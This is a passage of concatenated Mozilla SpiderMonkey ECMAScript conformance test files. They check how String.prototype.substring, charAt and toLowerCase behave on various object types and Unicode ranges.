is a string object'); s.substring(s.length, s.length)") ); new TestCase( SECTION, "var s = new String('this is a string object'); s.substring(s.length+1, 0)", "this is a string object", eval("var s = new String('this is a string object'); s.substring(s.length+1, 0)") ); new TestCase( SECTION, "var s = new String('this is a string object'); s.substring(-Infinity, -Infinity)", "", eval("var s = new String('this is a string object'); s.substring(-Infinity, -Infinity)") ); // this is not a String object, start is not an integer new TestCase( SECTION, "var s = new Array(1,2,3,4,5); s.substring = String.prototype.substring; s.substring(Infinity,-Infinity)", "1,2,3,4,5", eval("var s = new Array(1,2,3,4,5); s.substring = String.prototype.substring; s.substring(Infinity,-Infinity)") ); new TestCase( SECTION, "var s = new Array(1,2,3,4,5); s.substring = String.prototype.substring; s.substring(true, false)", "1", eval("var s = new Array(1,2,3,4,5); s.substring = String.prototype.substring; s.substring(true, false)") ); new TestCase( SECTION, "var s = new Array(1,2,3,4,5); s.substring = String.prototype.substring; s.substring('4', '5')", "3", eval("var s = new Array(1,2,3,4,5); s.substring = String.prototype.substring; s.substring('4', '5')") ); // this is an object object new TestCase( SECTION, "var obj = new Object(); obj.substring = String.prototype.substring; obj.substring(8,0)", "[object ", eval("var obj = new Object(); obj.substring = String.prototype.substring; obj.substring(8,0)") ); new TestCase( SECTION, "var obj = new Object(); obj.substring = String.prototype.substring; obj.substring(8,obj.toString().length)", "Object]", eval("var obj = new Object(); obj.substring = String.prototype.substring; obj.substring(8, obj.toString().length)") ); // this is a function object new TestCase( SECTION, "var obj = new Function(); obj.substring = String.prototype.substring; obj.toString = Object.prototype.toString; obj.substring(8, Infinity)", "Function]", eval("var obj = new Function(); obj.substring = String.prototype.substring; obj.toString = Object.prototype.toString; obj.substring(8,Infinity)") ); // this is a number object new TestCase( SECTION, "var obj = new Number(NaN); obj.substring = String.prototype.substring; obj.substring(Infinity, NaN)", "NaN", eval("var obj = new Number(NaN); obj.substring = String.prototype.substring; obj.substring(Infinity, NaN)") ); // this is the Math object new TestCase( SECTION, "var obj = Math; obj.substring = String.prototype.substring; obj.substring(Math.PI, -10)", "[ob", eval("var obj = Math; obj.substring = String.prototype.substring; obj.substring(Math.PI, -10)") ); // this is a Boolean object new TestCase( SECTION, "var obj = new Boolean(); obj.substring = String.prototype.substring; obj.substring(new Array(), new Boolean(1))", "f", eval("var obj = new Boolean(); obj.substring = String.prototype.substring; obj.substring(new Array(), new Boolean(1))") ); // this is a user defined object new TestCase( SECTION, "var obj = new MyObject( void 0 ); obj.substring(0, 100)", "undefined", eval( "var obj = new MyObject( void 0 ); obj.substring(0,100)") ); test(); function MyObject( value ) { this.value = value; this.substring = String.prototype.substring; this.toString = new Function ( "return this.value+''" ); } mozjs17.0.0/js/src/tests/ecma/String/15.5.4.11-1.js0000664000175000017500000002271712106270663021000 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.11-1.js ECMA Section: 15.5.4.11 String.prototype.toLowerCase() Description: Returns a string equal in length to the length of the result of converting this object to a string. The result is a string value, not a String object. Every character of the result is equal to the corresponding character of the string, unless that character has a Unicode 2.0 uppercase equivalent, in which case the uppercase equivalent is used instead. (The canonical Unicode 2.0 case mapping shall be used, which does not depend on implementation or locale.) Note that the toLowerCase function is intentionally generic; it does not require that its this value be a String object. Therefore it can be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.5.4.11-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.toLowerCase()"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "String.prototype.toLowerCase.length", 0, String.prototype.toLowerCase.length ); new TestCase( SECTION, "delete String.prototype.toLowerCase.length", false, delete String.prototype.toLowerCase.length ); new TestCase( SECTION, "delete String.prototype.toLowerCase.length; String.prototype.toLowerCase.length", 0, eval("delete String.prototype.toLowerCase.length; String.prototype.toLowerCase.length") ); // Basic Latin, Latin-1 Supplement, Latin Extended A for ( var i = 0; i <= 0x017f; i++ ) { var U = new Unicode(i); /* new TestCase( SECTION, "var s = new String( String.fromCharCode("+i+") ); s.toLowerCase()", String.fromCharCode(U.lower), eval("var s = new String( String.fromCharCode("+i+") ); s.toLowerCase()") ); */ new TestCase( SECTION, "var s = new String( String.fromCharCode("+i+") ); s.toLowerCase().charCodeAt(0)", U.lower, eval("var s = new String( String.fromCharCode(i) ); s.toLowerCase().charCodeAt(0)") ); } test(); function MyObject( value ) { this.value = value; this.substring = String.prototype.substring; this.toString = new Function ( "return this.value+''" ); } function Unicode( c ) { u = GetUnicodeValues( c ); this.upper = u[0]; this.lower = u[1] return this; } function GetUnicodeValues( c ) { u = new Array(); u[0] = c; u[1] = c; // upper case Basic Latin if ( c >= 0x0041 && c <= 0x005A) { u[0] = c; u[1] = c + 32; return u; } // lower case Basic Latin if ( c >= 0x0061 && c <= 0x007a ) { u[0] = c - 32; u[1] = c; return u; } // upper case Latin-1 Supplement if ( (c >= 0x00C0 && c <= 0x00D6) || (c >= 0x00D8 && c<=0x00DE) ) { u[0] = c; u[1] = c + 32; return u; } // lower case Latin-1 Supplement if ( (c >= 0x00E0 && c <= 0x00F6) || (c >= 0x00F8 && c <= 0x00FE) ) { u[0] = c - 32; u[1] = c; return u; } if ( c == 0x00FF ) { u[0] = 0x0178; u[1] = c; return u; } // Latin Extended A if ( (c >= 0x0100 && c < 0x0138) || (c > 0x0149 && c < 0x0178) ) { // special case for capital I if ( c == 0x0130 ) { u[0] = c; u[1] = 0x0069; return u; } if ( c == 0x0131 ) { u[0] = 0x0049; u[1] = c; return u; } if ( c % 2 == 0 ) { // if it's even, it's a capital and the lower case is c +1 u[0] = c; u[1] = c+1; } else { // if it's odd, it's a lower case and upper case is c-1 u[0] = c-1; u[1] = c; } return u; } if ( c == 0x0178 ) { u[0] = c; u[1] = 0x00FF; return u; } if ( (c >= 0x0139 && c < 0x0149) || (c > 0x0178 && c < 0x017F) ) { if ( c % 2 == 1 ) { // if it's odd, it's a capital and the lower case is c +1 u[0] = c; u[1] = c+1; } else { // if it's even, it's a lower case and upper case is c-1 u[0] = c-1; u[1] = c; } return u; } if ( c == 0x017F ) { u[0] = 0x0053; u[1] = c; } // Latin Extended B // need to improve this set if ( c >= 0x0200 && c <= 0x0217 ) { if ( c % 2 == 0 ) { u[0] = c; u[1] = c+1; } else { u[0] = c-1; u[1] = c; } return u; } // Latin Extended Additional // Range: U+1E00 to U+1EFF // http://www.unicode.org/Unicode.charts/glyphless/U1E00.html // Spacing Modifier Leters // Range: U+02B0 to U+02FF // Combining Diacritical Marks // Range: U+0300 to U+036F // skip Greek for now // Greek // Range: U+0370 to U+03FF // Cyrillic // Range: U+0400 to U+04FF if ( (c >= 0x0401 && c <= 0x040C) || ( c>= 0x040E && c <= 0x040F ) ) { u[0] = c; u[1] = c + 80; return u; } if ( c >= 0x0410 && c <= 0x042F ) { u[0] = c; u[1] = c + 32; return u; } if ( c >= 0x0430 && c<= 0x044F ) { u[0] = c - 32; u[1] = c; return u; } if ( (c >= 0x0451 && c <= 0x045C) || (c >=0x045E && c<= 0x045F) ) { u[0] = c -80; u[1] = c; return u; } if ( c >= 0x0460 && c <= 0x047F ) { if ( c % 2 == 0 ) { u[0] = c; u[1] = c +1; } else { u[0] = c - 1; u[1] = c; } return u; } // Armenian // Range: U+0530 to U+058F if ( c >= 0x0531 && c <= 0x0556 ) { u[0] = c; u[1] = c + 48; return u; } if ( c >= 0x0561 && c < 0x0587 ) { u[0] = c - 48; u[1] = c; return u; } // Hebrew // Range: U+0590 to U+05FF // Arabic // Range: U+0600 to U+06FF // Devanagari // Range: U+0900 to U+097F // Bengali // Range: U+0980 to U+09FF // Gurmukhi // Range: U+0A00 to U+0A7F // Gujarati // Range: U+0A80 to U+0AFF // Oriya // Range: U+0B00 to U+0B7F // no capital / lower case // Tamil // Range: U+0B80 to U+0BFF // no capital / lower case // Telugu // Range: U+0C00 to U+0C7F // no capital / lower case // Kannada // Range: U+0C80 to U+0CFF // no capital / lower case // Malayalam // Range: U+0D00 to U+0D7F // Thai // Range: U+0E00 to U+0E7F // Lao // Range: U+0E80 to U+0EFF // Tibetan // Range: U+0F00 to U+0FBF // Georgian // Range: U+10A0 to U+10F0 if ( c >= 0x10A0 && c <= 0x10C5 ) { u[0] = c; u[1] = c + 48; return u; } if ( c >= 0x10D0 && c <= 0x10F5 ) { u[0] = c; u[1] = c; return u; } // Hangul Jamo // Range: U+1100 to U+11FF // Greek Extended // Range: U+1F00 to U+1FFF // skip for now // General Punctuation // Range: U+2000 to U+206F // Superscripts and Subscripts // Range: U+2070 to U+209F // Currency Symbols // Range: U+20A0 to U+20CF // Combining Diacritical Marks for Symbols // Range: U+20D0 to U+20FF // skip for now // Number Forms // Range: U+2150 to U+218F // skip for now // Arrows // Range: U+2190 to U+21FF // Mathematical Operators // Range: U+2200 to U+22FF // Miscellaneous Technical // Range: U+2300 to U+23FF // Control Pictures // Range: U+2400 to U+243F // Optical Character Recognition // Range: U+2440 to U+245F // Enclosed Alphanumerics // Range: U+2460 to U+24FF // Box Drawing // Range: U+2500 to U+257F // Block Elements // Range: U+2580 to U+259F // Geometric Shapes // Range: U+25A0 to U+25FF // Miscellaneous Symbols // Range: U+2600 to U+26FF // Dingbats // Range: U+2700 to U+27BF // CJK Symbols and Punctuation // Range: U+3000 to U+303F // Hiragana // Range: U+3040 to U+309F // Katakana // Range: U+30A0 to U+30FF // Bopomofo // Range: U+3100 to U+312F // Hangul Compatibility Jamo // Range: U+3130 to U+318F // Kanbun // Range: U+3190 to U+319F // Enclosed CJK Letters and Months // Range: U+3200 to U+32FF // CJK Compatibility // Range: U+3300 to U+33FF // Hangul Syllables // Range: U+AC00 to U+D7A3 // High Surrogates // Range: U+D800 to U+DB7F // Private Use High Surrogates // Range: U+DB80 to U+DBFF // Low Surrogates // Range: U+DC00 to U+DFFF // Private Use Area // Range: U+E000 to U+F8FF // CJK Compatibility Ideographs // Range: U+F900 to U+FAFF // Alphabetic Presentation Forms // Range: U+FB00 to U+FB4F // Arabic Presentation Forms-A // Range: U+FB50 to U+FDFF // Combining Half Marks // Range: U+FE20 to U+FE2F // CJK Compatibility Forms // Range: U+FE30 to U+FE4F // Small Form Variants // Range: U+FE50 to U+FE6F // Arabic Presentation Forms-B // Range: U+FE70 to U+FEFF // Halfwidth and Fullwidth Forms // Range: U+FF00 to U+FFEF if ( c >= 0xFF21 && c <= 0xFF3A ) { u[0] = c; u[1] = c + 32; return u; } if ( c >= 0xFF41 && c <= 0xFF5A ) { u[0] = c - 32; u[1] = c; return u; } // Specials // Range: U+FFF0 to U+FFFF return u; } function DecimalToHexString( n ) { n = Number( n ); var h = "0x"; for ( var i = 3; i >= 0; i-- ) { if ( n >= Math.pow(16, i) ){ var t = Math.floor( n / Math.pow(16, i)); n -= t * Math.pow(16, i); if ( t >= 10 ) { if ( t == 10 ) { h += "A"; } if ( t == 11 ) { h += "B"; } if ( t == 12 ) { h += "C"; } if ( t == 13 ) { h += "D"; } if ( t == 14 ) { h += "E"; } if ( t == 15 ) { h += "F"; } } else { h += String( t ); } } else { h += "0"; } } return h; } mozjs17.0.0/js/src/tests/ecma/String/15.5.4.4-4.js0000664000175000017500000002566312106270663020730 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.4-4.js ECMA Section: 15.5.4.4 String.prototype.charAt(pos) Description: Returns a string containing the character at position pos in the string. If there is no character at that string, the result is the empty string. The result is a string value, not a String object. When the charAt method is called with one argument, pos, the following steps are taken: 1. Call ToString, with this value as its argument 2. Call ToInteger pos 3. Compute the number of characters in Result(1) 4. If Result(2) is less than 0 is or not less than Result(3), return the empty string 5. Return a string of length 1 containing one character from result (1), the character at position Result(2). Note that the charAt function is intentionally generic; it does not require that its this value be a String object. Therefore it can be transferred to other kinds of objects for use as a method. This tests assiging charAt to primitive types.. Author: christine@netscape.com Date: 2 october 1997 */ var SECTION = "15.5.4.4-4"; var VERSION = "ECMA_2"; startTest(); var TITLE = "String.prototype.charAt"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "x = new Array(1,2,3); x.charAt = String.prototype.charAt; x.charAt(0)", "1", eval("x=new Array(1,2,3); x.charAt = String.prototype.charAt; x.charAt(0)") ); new TestCase( SECTION, "x = new Array(1,2,3); x.charAt = String.prototype.charAt; x.charAt(1)", ",", eval("x=new Array(1,2,3); x.charAt = String.prototype.charAt; x.charAt(1)") ); new TestCase( SECTION, "x = new Array(1,2,3); x.charAt = String.prototype.charAt; x.charAt(2)", "2", eval("x=new Array(1,2,3); x.charAt = String.prototype.charAt; x.charAt(2)") ); new TestCase( SECTION, "x = new Array(1,2,3); x.charAt = String.prototype.charAt; x.charAt(3)", ",", eval("x=new Array(1,2,3); x.charAt = String.prototype.charAt; x.charAt(3)") ); new TestCase( SECTION, "x = new Array(1,2,3); x.charAt = String.prototype.charAt; x.charAt(4)", "3", eval("x=new Array(1,2,3); x.charAt = String.prototype.charAt; x.charAt(4)") ); new TestCase( SECTION, "x = new Array(); x.charAt = String.prototype.charAt; x.charAt(0)", "", eval("x = new Array(); x.charAt = String.prototype.charAt; x.charAt(0)") ); new TestCase( SECTION, "x = new Number(123); x.charAt = String.prototype.charAt; x.charAt(0)", "1", eval("x=new Number(123); x.charAt = String.prototype.charAt; x.charAt(0)") ); new TestCase( SECTION, "x = new Number(123); x.charAt = String.prototype.charAt; x.charAt(1)", "2", eval("x=new Number(123); x.charAt = String.prototype.charAt; x.charAt(1)") ); new TestCase( SECTION, "x = new Number(123); x.charAt = String.prototype.charAt; x.charAt(2)", "3", eval("x=new Number(123); x.charAt = String.prototype.charAt; x.charAt(2)") ); new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(0)", "[", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(0)") ); new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(1)", "o", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(1)") ); new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(2)", "b", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(2)") ); new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(3)", "j", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(3)") ); new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(4)", "e", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(4)") ); new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(5)", "c", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(5)") ); new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(6)", "t", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(6)") ); new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(7)", " ", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(7)") ); new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(8)", "O", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(8)") ); new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(9)", "b", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(9)") ); new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(10)", "j", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(10)") ); new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(11)", "e", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(11)") ); new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(12)", "c", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(12)") ); new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(13)", "t", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(13)") ); new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(14)", "]", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(14)") ); new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(0)", "[", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(0)") ); new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(1)", "o", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(1)") ); new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(2)", "b", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(2)") ); new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(3)", "j", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(3)") ); new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(4)", "e", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(4)") ); new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(5)", "c", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(5)") ); new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(6)", "t", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(6)") ); new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(7)", " ", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(7)") ); new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(8)", "F", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(8)") ); new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(9)", "u", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(9)") ); new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(10)", "n", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(10)") ); new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(11)", "c", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(11)") ); new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(12)", "t", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(12)") ); new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(13)", "i", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(13)") ); new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(14)", "o", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(14)") ); new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(15)", "n", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(15)") ); new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(16)", "]", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(16)") ); new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(17)", "", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(17)") ); test(); mozjs17.0.0/js/src/tests/ecma/String/15.5.4.11-6.js0000664000175000017500000002200112106270663020767 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.11-6.js ECMA Section: 15.5.4.11 String.prototype.toLowerCase() Description: Returns a string equal in length to the length of the result of converting this object to a string. The result is a string value, not a String object. Every character of the result is equal to the corresponding character of the string, unless that character has a Unicode 2.0 uppercase equivalent, in which case the uppercase equivalent is used instead. (The canonical Unicode 2.0 case mapping shall be used, which does not depend on implementation or locale.) Note that the toLowerCase function is intentionally generic; it does not require that its this value be a String object. Therefore it can be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.5.4.11-6"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.toLowerCase()"; writeHeaderToLog( SECTION + " "+ TITLE); // Armenian // Range: U+0530 to U+058F for ( var i = 0x0530; i <= 0x058F; i++ ) { var U = new Unicode( i ); /* new TestCase( SECTION, "var s = new String( String.fromCharCode("+i+") ); s.toLowerCase()", String.fromCharCode(U.lower), eval("var s = new String( String.fromCharCode("+i+") ); s.toLowerCase()") ); */ new TestCase( SECTION, "var s = new String( String.fromCharCode("+i+") ); s.toLowerCase().charCodeAt(0)", U.lower, eval("var s = new String( String.fromCharCode(i) ); s.toLowerCase().charCodeAt(0)") ); } test(); function MyObject( value ) { this.value = value; this.substring = String.prototype.substring; this.toString = new Function ( "return this.value+''" ); } function Unicode( c ) { u = GetUnicodeValues( c ); this.upper = u[0]; this.lower = u[1] return this; } function GetUnicodeValues( c ) { u = new Array(); u[0] = c; u[1] = c; // upper case Basic Latin if ( c >= 0x0041 && c <= 0x005A) { u[0] = c; u[1] = c + 32; return u; } // lower case Basic Latin if ( c >= 0x0061 && c <= 0x007a ) { u[0] = c - 32; u[1] = c; return u; } // upper case Latin-1 Supplement if ( (c >= 0x00C0 && c <= 0x00D6) || (c >= 0x00D8 && c<=0x00DE) ) { u[0] = c; u[1] = c + 32; return u; } // lower case Latin-1 Supplement if ( (c >= 0x00E0 && c <= 0x00F6) || (c >= 0x00F8 && c <= 0x00FE) ) { u[0] = c - 32; u[1] = c; return u; } if ( c == 0x00FF ) { u[0] = 0x0178; u[1] = c; return u; } // Latin Extended A if ( (c >= 0x0100 && c < 0x0138) || (c > 0x0149 && c < 0x0178) ) { // special case for capital I if ( c == 0x0130 ) { u[0] = c; u[1] = 0x0069; return u; } if ( c == 0x0131 ) { u[0] = 0x0049; u[1] = c; return u; } if ( c % 2 == 0 ) { // if it's even, it's a capital and the lower case is c +1 u[0] = c; u[1] = c+1; } else { // if it's odd, it's a lower case and upper case is c-1 u[0] = c-1; u[1] = c; } return u; } if ( c == 0x0178 ) { u[0] = c; u[1] = 0x00FF; return u; } if ( (c >= 0x0139 && c < 0x0149) || (c > 0x0178 && c < 0x017F) ) { if ( c % 2 == 1 ) { // if it's odd, it's a capital and the lower case is c +1 u[0] = c; u[1] = c+1; } else { // if it's even, it's a lower case and upper case is c-1 u[0] = c-1; u[1] = c; } return u; } if ( c == 0x017F ) { u[0] = 0x0053; u[1] = c; } // Latin Extended B // need to improve this set if ( c >= 0x0200 && c <= 0x0217 ) { if ( c % 2 == 0 ) { u[0] = c; u[1] = c+1; } else { u[0] = c-1; u[1] = c; } return u; } // Latin Extended Additional // Range: U+1E00 to U+1EFF // http://www.unicode.org/Unicode.charts/glyphless/U1E00.html // Spacing Modifier Leters // Range: U+02B0 to U+02FF // Combining Diacritical Marks // Range: U+0300 to U+036F // skip Greek for now // Greek // Range: U+0370 to U+03FF // Cyrillic // Range: U+0400 to U+04FF if ( (c >= 0x0401 && c <= 0x040C) || ( c>= 0x040E && c <= 0x040F ) ) { u[0] = c; u[1] = c + 80; return u; } if ( c >= 0x0410 && c <= 0x042F ) { u[0] = c; u[1] = c + 32; return u; } if ( c >= 0x0430 && c<= 0x044F ) { u[0] = c - 32; u[1] = c; return u; } if ( (c >= 0x0451 && c <= 0x045C) || (c >=0x045E && c<= 0x045F) ) { u[0] = c -80; u[1] = c; return u; } if ( c >= 0x0460 && c <= 0x047F ) { if ( c % 2 == 0 ) { u[0] = c; u[1] = c +1; } else { u[0] = c - 1; u[1] = c; } return u; } // Armenian // Range: U+0530 to U+058F if ( c >= 0x0531 && c <= 0x0556 ) { u[0] = c; u[1] = c + 48; return u; } if ( c >= 0x0561 && c < 0x0587 ) { u[0] = c - 48; u[1] = c; return u; } // Hebrew // Range: U+0590 to U+05FF // Arabic // Range: U+0600 to U+06FF // Devanagari // Range: U+0900 to U+097F // Bengali // Range: U+0980 to U+09FF // Gurmukhi // Range: U+0A00 to U+0A7F // Gujarati // Range: U+0A80 to U+0AFF // Oriya // Range: U+0B00 to U+0B7F // no capital / lower case // Tamil // Range: U+0B80 to U+0BFF // no capital / lower case // Telugu // Range: U+0C00 to U+0C7F // no capital / lower case // Kannada // Range: U+0C80 to U+0CFF // no capital / lower case // Malayalam // Range: U+0D00 to U+0D7F // Thai // Range: U+0E00 to U+0E7F // Lao // Range: U+0E80 to U+0EFF // Tibetan // Range: U+0F00 to U+0FBF // Georgian // Range: U+10A0 to U+10F0 if ( c >= 0x10A0 && c <= 0x10C5 ) { u[0] = c; u[1] = c + 48; return u; } if ( c >= 0x10D0 && c <= 0x10F5 ) { u[0] = c; u[1] = c; return u; } // Hangul Jamo // Range: U+1100 to U+11FF // Greek Extended // Range: U+1F00 to U+1FFF // skip for now // General Punctuation // Range: U+2000 to U+206F // Superscripts and Subscripts // Range: U+2070 to U+209F // Currency Symbols // Range: U+20A0 to U+20CF // Combining Diacritical Marks for Symbols // Range: U+20D0 to U+20FF // skip for now // Number Forms // Range: U+2150 to U+218F // skip for now // Arrows // Range: U+2190 to U+21FF // Mathematical Operators // Range: U+2200 to U+22FF // Miscellaneous Technical // Range: U+2300 to U+23FF // Control Pictures // Range: U+2400 to U+243F // Optical Character Recognition // Range: U+2440 to U+245F // Enclosed Alphanumerics // Range: U+2460 to U+24FF // Box Drawing // Range: U+2500 to U+257F // Block Elements // Range: U+2580 to U+259F // Geometric Shapes // Range: U+25A0 to U+25FF // Miscellaneous Symbols // Range: U+2600 to U+26FF // Dingbats // Range: U+2700 to U+27BF // CJK Symbols and Punctuation // Range: U+3000 to U+303F // Hiragana // Range: U+3040 to U+309F // Katakana // Range: U+30A0 to U+30FF // Bopomofo // Range: U+3100 to U+312F // Hangul Compatibility Jamo // Range: U+3130 to U+318F // Kanbun // Range: U+3190 to U+319F // Enclosed CJK Letters and Months // Range: U+3200 to U+32FF // CJK Compatibility // Range: U+3300 to U+33FF // Hangul Syllables // Range: U+AC00 to U+D7A3 // High Surrogates // Range: U+D800 to U+DB7F // Private Use High Surrogates // Range: U+DB80 to U+DBFF // Low Surrogates // Range: U+DC00 to U+DFFF // Private Use Area // Range: U+E000 to U+F8FF // CJK Compatibility Ideographs // Range: U+F900 to U+FAFF // Alphabetic Presentation Forms // Range: U+FB00 to U+FB4F // Arabic Presentation Forms-A // Range: U+FB50 to U+FDFF // Combining Half Marks // Range: U+FE20 to U+FE2F // CJK Compatibility Forms // Range: U+FE30 to U+FE4F // Small Form Variants // Range: U+FE50 to U+FE6F // Arabic Presentation Forms-B // Range: U+FE70 to U+FEFF // Halfwidth and Fullwidth Forms // Range: U+FF00 to U+FFEF if ( c >= 0xFF21 && c <= 0xFF3A ) { u[0] = c; u[1] = c + 32; return u; } if ( c >= 0xFF41 && c <= 0xFF5A ) { u[0] = c - 32; u[1] = c; return u; } // Specials // Range: U+FFF0 to U+FFFF return u; } function DecimalToHexString( n ) { n = Number( n ); var h = "0x"; for ( var i = 3; i >= 0; i-- ) { if ( n >= Math.pow(16, i) ){ var t = Math.floor( n / Math.pow(16, i)); n -= t * Math.pow(16, i); if ( t >= 10 ) { if ( t == 10 ) { h += "A"; } if ( t == 11 ) { h += "B"; } if ( t == 12 ) { h += "C"; } if ( t == 13 ) { h += "D"; } if ( t == 14 ) { h += "E"; } if ( t == 15 ) { h += "F"; } } else { h += String( t ); } } else { h += "0"; } } return h; } mozjs17.0.0/js/src/tests/ecma/String/15.5.4.11-3.js0000664000175000017500000002202212106270663020767 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.11-2.js ECMA Section: 15.5.4.11 String.prototype.toLowerCase() Description: Returns a string equal in length to the length of the result of converting this object to a string. The result is a string value, not a String object. Every character of the result is equal to the corresponding character of the string, unless that character has a Unicode 2.0 uppercase equivalent, in which case the uppercase equivalent is used instead. (The canonical Unicode 2.0 case mapping shall be used, which does not depend on implementation or locale.) Note that 